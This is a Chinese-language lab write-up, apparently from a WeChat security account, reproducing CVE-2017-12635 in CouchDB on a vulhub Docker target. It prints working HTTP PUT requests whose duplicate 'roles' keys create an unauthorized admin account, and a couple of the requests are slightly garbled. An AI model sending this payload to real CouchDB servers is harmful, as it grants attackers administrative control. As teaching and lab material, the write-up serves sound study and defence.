漏洞简介
ApacheCouchDB是一个开源的面向文档的NoSQL数据库,用Erlang实现。CouchDB使用多种格式和协议来存储、传输和处理其数据。它使用JSON存储数据,使用MapReduce使用JavaScript作为查询语言,并使用HTTP作为API。
由于基于erlang的JSON解析器和基于javascript的JSON解析器的差异,在Apache CouchDB 1.7.0和2之前是可能的。为数据库中用于访问控制的角色(包括表示管理用户的特殊情况_admin角色)提交带有重复键的_users文档。
影响版本
小于 1.7.0 以及 小于 2.1.1
漏洞复现
我们还是利用搭建好的靶场进行本次复现
docker-compose up -d //启动服务
访问http://your-ip:5984/_utils进入登录界面
木有密码,尝试抓包,发送如下数据包
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.137.145:5984
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMT
Content-Length: 106
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
返回403错误:error":"forbidden","reason":"Only_admin may set roles",只有管理员才能设置Role角色:
发送一次包含两个roles字段的数据包,其中一个roles字段为空即可绕过限制:
注意:已创建的用户,改密码行不通
PUT /_users/org.couchdb.user:vulhub HT
TP/1.1Host: 192.168.137.145:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
返回到登录界面,然后我们尝试用我们自己的账号密码登录
登录成功,同时可以看到users的数量多了一个
文章版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):Couchdb垂直权限绕过(CVE-2017-12635)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论